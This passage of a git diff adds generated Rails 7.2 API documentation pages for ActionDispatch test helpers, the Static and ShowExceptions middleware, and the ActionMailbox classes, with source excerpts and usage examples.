+    def initialize(app, exceptions_app)
+      @app = app
+      @exceptions_app = exceptions_app
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/show_exceptions.rb, line 31
+    def call(env)
+      @app.call(env)
+    rescue Exception => exception
+      request = ActionDispatch::Request.new env
+      backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+      wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+      request.set_header "action_dispatch.exception", wrapper.unwrapped_exception
+      request.set_header "action_dispatch.report_exception", !wrapper.rescue_response?
+
+      if wrapper.show?(request)
+        render_exception(request.dup, wrapper)
+      else
+        raise exception
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Static.html b/src/7.2/classes/ActionDispatch/Static.html new file mode 100644 index 0000000000..aa6e4a1158 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Static.html @@ -0,0 +1,164 @@ +--- +title: ActionDispatch::Static +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Static

+ +

This middleware serves static files from disk, if available. If no file is found, it hands off to the main app.

+ +

In Rails apps, this middleware is configured to serve assets from the public/ directory.

+ +

Only GET and HEAD requests are served. POST and other HTTP methods are handed off to the main app.

+ +

Only files in the root directory are served; path traversal is denied.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, path, index: "index", headers: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/static.rb, line 21
+    def initialize(app, path, index: "index", headers: {})
+      @app = app
+      @file_handler = FileHandler.new(path, index: index, headers: headers)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/static.rb, line 26
+    def call(env)
+      @file_handler.attempt(env) || @app.call(env)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/SystemTestCase.html b/src/7.2/classes/ActionDispatch/SystemTestCase.html new file mode 100644 index 0000000000..ab44aaf347 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/SystemTestCase.html @@ -0,0 +1,285 @@ +--- +title: ActionDispatch::SystemTestCase +layout: default +--- +
+ +
+
+ +
+ +

System Testing

+ +

System tests let you test applications in the browser. Because system tests use a real browser experience, you can test all of your JavaScript easily from your test suite.

+ +

To create a system test in your application, extend your test class from ApplicationSystemTestCase. System tests use Capybara as a base and allow you to configure the settings through your application_system_test_case.rb file that is generated with a new application or scaffold.

+ +

Here is an example system test:

+ +
require "application_system_test_case"
+
+class Users::CreateTest < ApplicationSystemTestCase
+  test "adding a new user" do
+    visit users_path
+    click_on 'New User'
+
+    fill_in 'Name', with: 'Arya'
+    click_on 'Create User'
+
+    assert_text 'Arya'
+  end
+end
+
+ +

When generating an application or scaffold, an application_system_test_case.rb file will also be generated containing the base class for system testing. This is where you can change the driver, add Capybara settings, and other configuration for your system tests.

+ +
require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+end
+
+ +

By default, ActionDispatch::SystemTestCase is driven by the Selenium driver, with the Chrome browser, and a browser size of 1400x1400.

+ +

Changing the driver configuration options is easy. Let’s say you want to use the Firefox browser instead of Chrome. In your application_system_test_case.rb file add the following:

+ +
require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :firefox
+end
+
+ +

driven_by has a required argument for the driver name. The keyword arguments are :using for the browser and :screen_size to change the size of the browser screen. These two options are not applicable for headless drivers and will be silently ignored if passed.

+ +

Headless browsers such as headless Chrome and headless Firefox are also supported. You can use these browsers by setting the :using argument to :headless_chrome or :headless_firefox.

+ +

To use a headless driver, like Cuprite, update your Gemfile to use Cuprite instead of Selenium and then declare the driver name in the application_system_test_case.rb file. In this case, you would leave out the :using option because the driver is headless, but you can still use :screen_size to change the size of the browser screen, also you can use :options to pass options supported by the driver. Please refer to your driver documentation to learn about supported options.

+ +
require "test_helper"
+require "capybara/cuprite"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :cuprite, screen_size: [1400, 1400], options:
+    { js_errors: true }
+end
+
+ +

Some drivers require browser capabilities to be passed as a block instead of through the options hash.

+ +

As an example, if you want to add mobile emulation on chrome, you’ll have to create an instance of selenium’s Chrome::Options object and add capabilities with a block.

+ +

The block will be passed an instance of <Driver>::Options where you can define the capabilities you want. Please refer to your driver documentation to learn about supported options.

+ +
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [1024, 768] do |driver_option|
+    driver_option.add_emulation(device_name: 'iPhone 6')
+    driver_option.add_extension('path/to/chrome_extension.crx')
+  end
+end
+
+ +

Because ActionDispatch::SystemTestCase is a shim between Capybara and Rails, any driver that is supported by Capybara is supported by system tests as long as you include the required gems and files.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_HOST="http://127.0.0.1"
+ + + + + + +

Class Public methods

+ +
+

+ + driven_by(driver, using: :chrome, screen_size: [1400, 1400], options: {}, &capabilities) + +

+ + +
+

System Test configuration options

+ +

The default settings are Selenium, using Chrome, with a screen size of 1400x1400.

+ +

Examples:

+ +
driven_by :cuprite
+
+driven_by :selenium, screen_size: [800, 800]
+
+driven_by :selenium, using: :chrome
+
+driven_by :selenium, using: :headless_chrome
+
+driven_by :selenium, using: :firefox
+
+driven_by :selenium, using: :headless_firefox
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/system_test_case.rb, line 158
+    def self.driven_by(driver, using: :chrome, screen_size: [1400, 1400], options: {}, &capabilities)
+      driver_options = { using: using, screen_size: screen_size, options: options }
+
+      self.driver = SystemTesting::Driver.new(driver, **driver_options, &capabilities)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + served_by(host:, port:) + +

+ + +
+

Configuration for the System Test application server.

+ +

By default this is localhost. This method allows the host and port to be specified manually.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/system_test_case.rb, line 167
+    def self.served_by(host:, port:)
+      Capybara.server_host = host
+      Capybara.server_port = port
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/SystemTesting.html b/src/7.2/classes/ActionDispatch/SystemTesting.html new file mode 100644 index 0000000000..3d76dd2fcf --- /dev/null +++ b/src/7.2/classes/ActionDispatch/SystemTesting.html @@ -0,0 +1,75 @@ +--- +title: ActionDispatch::SystemTesting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers.html b/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers.html new file mode 100644 index 0000000000..5442ec80ce --- /dev/null +++ b/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers.html @@ -0,0 +1,69 @@ +--- +title: ActionDispatch::SystemTesting::TestHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html b/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html new file mode 100644 index 0000000000..f374d4cdd7 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html @@ -0,0 +1,174 @@ +--- +title: ActionDispatch::SystemTesting::TestHelpers::ScreenshotHelper +layout: default +--- +
+ +
+
+ +
+ +

Screenshot helper for system testing.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + take_failed_screenshot() + +

+ + +
+

Takes a screenshot of the current page in the browser if the test failed.

+ +

take_failed_screenshot is called during system test teardown.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb, line 53
+        def take_failed_screenshot
+          return unless failed? && supports_screenshot? && Capybara::Session.instance_created?
+
+          take_screenshot
+          metadata[:failure_screenshot_path] = relative_image_path if Minitest::Runnable.method_defined?(:metadata)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + take_screenshot(html: false, screenshot: nil) + +

+ + +
+

Takes a screenshot of the current page in the browser.

+ +

take_screenshot can be used at any point in your system tests to take a screenshot of the current state. This can be useful for debugging or automating visual testing. You can take multiple screenshots per test to investigate changes at different points during your test. These will be named with a sequential prefix (or β€˜failed’ for failing tests)

+ +

The default screenshots directory is tmp/screenshots but you can set a different one with Capybara.save_path

+ +

You can use the html argument or set the RAILS_SYSTEM_TESTING_SCREENSHOT_HTML environment variable to save the HTML from the page that is being screenshotted so you can investigate the elements on the page at the time of the screenshot

+ +

You can use the screenshot argument or set the RAILS_SYSTEM_TESTING_SCREENSHOT environment variable to control the output. Possible values are: simple (default) : Only displays the screenshot path. This is the default value.

+ +
`inline`
+
+ +

: Display the screenshot in the terminal using the iTerm image protocol (iterm2.com/documentation-images.html).

+ +
`artifact`
+
+ +

: Display the screenshot in the terminal, using the terminal artifact format (buildkite.github.io/terminal-to-html/inline-images/).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb, line 41
+        def take_screenshot(html: false, screenshot: nil)
+          showing_html = html || html_from_env?
+
+          increment_unique
+          save_html if showing_html
+          save_image
+          show display_image(html: showing_html, screenshot_output: screenshot)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestHelpers.html b/src/7.2/classes/ActionDispatch/TestHelpers.html new file mode 100644 index 0000000000..fe593afacf --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestHelpers.html @@ -0,0 +1,67 @@ +--- +title: ActionDispatch::TestHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper.html b/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper.html new file mode 100644 index 0000000000..f8ba521f9b --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper.html @@ -0,0 +1,114 @@ +--- +title: ActionDispatch::TestHelpers::PageDumpHelper +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + save_and_open_page(path = html_dump_default_path) + +

+ + +
+

Saves the content of response body to a file and tries to open it in your browser. Launchy must be present in your Gemfile for the page to open automatically.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper.rb, line 10
+      def save_and_open_page(path = html_dump_default_path)
+        save_page(path).tap { |s_path| open_file(s_path) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper/InvalidResponse.html b/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper/InvalidResponse.html new file mode 100644 index 0000000000..bf10151670 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestHelpers/PageDumpHelper/InvalidResponse.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::TestHelpers::PageDumpHelper::InvalidResponse +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestProcess.html b/src/7.2/classes/ActionDispatch/TestProcess.html new file mode 100644 index 0000000000..35d97ca446 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestProcess.html @@ -0,0 +1,286 @@ +--- +title: ActionDispatch::TestProcess +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assigns(key = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 35
+    def assigns(key = nil)
+      raise NoMethodError,
+        'assigns has been extracted to a gem. To continue using it,
+        add `gem "rails-controller-testing"` to your Gemfile.'
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cookies() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 49
+    def cookies
+      @cookie_jar ||= Cookies::CookieJar.build(@request, @request.cookies)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + flash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 45
+    def flash
+      @request.flash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redirect_to_url() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 53
+    def redirect_to_url
+      @response.redirect_url
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + session() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 41
+    def session
+      @request.session
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestProcess/FixtureFile.html b/src/7.2/classes/ActionDispatch/TestProcess/FixtureFile.html new file mode 100644 index 0000000000..b39b97b0f0 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestProcess/FixtureFile.html @@ -0,0 +1,148 @@ +--- +title: ActionDispatch::TestProcess::FixtureFile +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + file_fixture_upload(path, mime_type = nil, binary = false) + +

+ + +
+

Shortcut for Rack::Test::UploadedFile.new(File.join(ActionDispatch::IntegrationTest.file_f ixture_path, path), type):

+ +
post :change_avatar, params: { avatar: file_fixture_upload('david.png', 'image/png') }
+
+ +

Default fixture files location is test/fixtures/files.

+ +

To upload binary files on Windows, pass :binary as the last parameter. This will not affect other platforms:

+ +
post :change_avatar, params: { avatar: file_fixture_upload('david.png', 'image/png', :binary) }
+
+
+ + + +
+ Also aliased as: fixture_file_upload +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_process.rb, line 23
+      def file_fixture_upload(path, mime_type = nil, binary = false)
+        if self.class.file_fixture_path && !File.exist?(path)
+          path = file_fixture(path)
+        end
+
+        Rack::Test::UploadedFile.new(path, mime_type, binary)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fixture_file_upload(path, mime_type = nil, binary = false) + +

+ + +
+ +
+ + + + + +
+ Alias for: file_fixture_upload +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestRequest.html b/src/7.2/classes/ActionDispatch/TestRequest.html new file mode 100644 index 0000000000..7f3b2bfe59 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestRequest.html @@ -0,0 +1,559 @@ +--- +title: ActionDispatch::TestRequest +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_ENV=Rack::MockRequest.env_for("/", +"HTTP_HOST" => "test.host".b, +"REMOTE_ADDR" => "0.0.0.0".b, +"HTTP_USER_AGENT" => "Rails Testing".b, +)
+ + + + + + +

Class Public methods

+ +
+

+ + create(env = {}) + +

+ + +
+

Create a new test request with default env values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 17
+    def self.create(env = {})
+      env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+      env["rack.request.cookie_hash"] ||= {}.with_indifferent_access
+      new(default_env.merge(env))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + accept=(mime_types) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 68
+    def accept=(mime_types)
+      delete_header("action_dispatch.request.accepts")
+      set_header("HTTP_ACCEPT", Array(mime_types).collect(&:to_s).join(","))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + action=(action_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 48
+    def action=(action_name)
+      path_parameters[:action] = action_name.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host=(host) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 32
+    def host=(host)
+      set_header("HTTP_HOST", host)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + if_modified_since=(last_modified) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 52
+    def if_modified_since=(last_modified)
+      set_header("HTTP_IF_MODIFIED_SINCE", last_modified)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + if_none_match=(etag) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 56
+    def if_none_match=(etag)
+      set_header("HTTP_IF_NONE_MATCH", etag)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path=(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 44
+    def path=(path)
+      set_header("PATH_INFO", path)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port=(number) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 36
+    def port=(number)
+      set_header("SERVER_PORT", number)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remote_addr=(addr) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 60
+    def remote_addr=(addr)
+      set_header("REMOTE_ADDR", addr)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_method=(method) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 28
+    def request_method=(method)
+      super(method.to_s.upcase)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_uri=(uri) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 40
+    def request_uri=(uri)
+      set_header("REQUEST_URI", uri)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + user_agent=(user_agent) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_request.rb, line 64
+    def user_agent=(user_agent)
+      set_header("HTTP_USER_AGENT", user_agent)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/TestResponse.html b/src/7.2/classes/ActionDispatch/TestResponse.html new file mode 100644 index 0000000000..09b02317b0 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/TestResponse.html @@ -0,0 +1,228 @@ +--- +title: ActionDispatch::TestResponse +layout: default +--- +
+ +
+
+ +
+ +

Integration test methods such as Integration::RequestHelpers#get and Integration::RequestHelpers#post return objects of class TestResponse, which represent the HTTP response results of the requested controller actions.

+ +

See Response for more information on controller response objects.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + from_response(response) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_response.rb, line 14
+    def self.from_response(response)
+      new response.status, response.headers, response.body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + parsed_body() + +

+ + +
+

Returns a parsed body depending on the response MIME type. When a parser corresponding to the MIME type is not found, it returns the raw body.

+ +

Examples

+ +
get "/posts"
+response.content_type         # => "text/html; charset=utf-8"
+response.parsed_body.class    # => Nokogiri::HTML5::Document
+response.parsed_body.to_html  # => "<!DOCTYPE html>\n<html>\n..."
+
+assert_pattern { response.parsed_body.at("main") => { content: "Hello, world" } }
+
+response.parsed_body.at("main") => {name:, content:}
+assert_equal "main", name
+assert_equal "Some main content", content
+
+get "/posts.json"
+response.content_type         # => "application/json; charset=utf-8"
+response.parsed_body.class    # => Array
+response.parsed_body          # => [{"id"=>42, "title"=>"Title"},...
+
+assert_pattern { response.parsed_body => [{ id: 42 }] }
+
+get "/posts/42.json"
+response.content_type         # => "application/json; charset=utf-8"
+response.parsed_body.class    # => ActiveSupport::HashWithIndifferentAccess
+response.parsed_body          # => {"id"=>42, "title"=>"Title"}
+
+assert_pattern { response.parsed_body => [{ title: /title/i }] }
+
+response.parsed_body => {id:, title:}
+assert_equal 42, id
+assert_equal "Title", title
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_response.rb, line 50
+    def parsed_body
+      @parsed_body ||= response_parser.call(body)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_parser() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/test_response.rb, line 54
+    def response_parser
+      @response_parser ||= RequestEncoder.parser(media_type)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox.html b/src/7.2/classes/ActionMailbox.html new file mode 100644 index 0000000000..b5a223bb1c --- /dev/null +++ b/src/7.2/classes/ActionMailbox.html @@ -0,0 +1,256 @@ +--- +title: ActionMailbox +layout: default +--- +
+ +
+
+ +
+ +

Action Mailbox

+ +

Action Mailbox routes incoming emails to controller-like mailboxes for processing in Rails. It ships with ingresses for Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound mails directly via the built-in Exim, Postfix, and Qmail ingresses.

+ +

The inbound emails are turned into InboundEmail records using Active Record and feature lifecycle tracking, storage of the original email on cloud storage via Active Storage, and responsible data handling with on-by-default incineration.

+ +

These inbound emails are routed asynchronously using Active Job to one or several dedicated mailboxes, which are capable of interacting directly with the rest of your domain model.

+ +

You can read more about Action Mailbox in the Action Mailbox Basics guide.

+ +

License

+ +

Action Mailbox is released under the MIT License.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Action Mailbox as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Action Mailbox as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Base.html b/src/7.2/classes/ActionMailbox/Base.html new file mode 100644 index 0000000000..a9f99a00b2 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Base.html @@ -0,0 +1,347 @@ +--- +title: ActionMailbox::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Mailbox Base

+ +

The base class for all application mailboxes. Not intended to be inherited from directly. Inherit from ApplicationMailbox instead, as that’s where the app-specific routing is configured. This routing is specified in the following ways:

+ +
class ApplicationMailbox < ActionMailbox::Base
+  # Any of the recipients of the mail (whether to, cc, bcc) are matched against the regexp.
+  routing /^replies@/i => :replies
+
+  # Any of the recipients of the mail (whether to, cc, bcc) needs to be an exact match for the string.
+  routing "help@example.com" => :help
+
+  # Any callable (proc, lambda, etc) object is passed the inbound_email record and is a match if true.
+  routing ->(inbound_email) { inbound_email.mail.to.size > 2 } => :multiple_recipients
+
+  # Any object responding to #match? is called with the inbound_email record as an argument. Match if true.
+  routing CustomAddress.new => :custom
+
+  # Any inbound_email that has not been already matched will be sent to the BackstopMailbox.
+  routing :all => :backstop
+end
+
+ +

Application mailboxes need to override the process method, which is invoked by the framework after callbacks have been run. The callbacks available are: before_processing, after_processing, and around_processing. The primary use case is to ensure that certain preconditions to processing are fulfilled using before_processing callbacks.

+ +

If a precondition fails to be met, you can halt the processing using the #bounced! method, which will silently prevent any further processing, but not actually send out any bounce notice. You can also pair this behavior with the invocation of an Action Mailer class responsible for sending out an actual bounce email. This is done using the bounce_with method, which takes the mail object returned by an Action Mailer method, like so:

+ +
class ForwardsMailbox < ApplicationMailbox
+  before_processing :ensure_sender_is_a_user
+
+  private
+    def ensure_sender_is_a_user
+      unless User.exist?(email_address: mail.from)
+        bounce_with UserRequiredMailer.missing(inbound_email)
+      end
+    end
+end
+
+ +

During the processing of the inbound email, the status will be tracked. Before processing begins, the email will normally have the pending status. Once processing begins, just before callbacks and the process method is called, the status is changed to processing. If processing is allowed to complete, the status is changed to delivered. If a bounce is triggered, then bounced. If an unhandled exception is bubbled up, then failed.

+ +

Exceptions can be handled at the class level using the familiar ActiveSupport::Rescuable approach:

+ +
class ForwardsMailbox < ApplicationMailbox
+  rescue_from(ApplicationSpecificVerificationError) { bounced! }
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + inbound_email
+ + + + +

Class Public methods

+ +
+

+ + new(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/base.rb, line 79
+    def initialize(inbound_email)
+      @inbound_email = inbound_email
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + receive(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/base.rb, line 75
+    def self.receive(inbound_email)
+      new(inbound_email).perform_processing
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + bounce_now_with(message) + +

+ + +
+

Immediately sends the given message and changes the inbound email’s status to :bounced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/base.rb, line 111
+    def bounce_now_with(message)
+      inbound_email.bounced!
+      message.deliver_now
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bounce_with(message) + +

+ + +
+

Enqueues the given message for delivery and changes the inbound email’s status to :bounced.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/base.rb, line 105
+    def bounce_with(message)
+      inbound_email.bounced!
+      message.deliver_later
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/base.rb, line 96
+    def process
+      # Override in subclasses
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/BaseController.html b/src/7.2/classes/ActionMailbox/BaseController.html new file mode 100644 index 0000000000..619da9e940 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/BaseController.html @@ -0,0 +1,66 @@ +--- +title: ActionMailbox::BaseController +layout: default +--- +
+ +
+
+ +
+ +

The base class for all Action Mailbox ingress controllers.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Callbacks.html b/src/7.2/classes/ActionMailbox/Callbacks.html new file mode 100644 index 0000000000..489c3c090e --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Callbacks.html @@ -0,0 +1,217 @@ +--- +title: ActionMailbox::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Action Mailbox Callbacks

+ +

Defines the callbacks related to processing.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
TERMINATOR=->(mailbox, chain) do +chain.call +mailbox.finished_processing? +end
+ + + + + + + +

Instance Public methods

+ +
+

+ + after_processing(*methods, &block) + +

+ + +
+ +
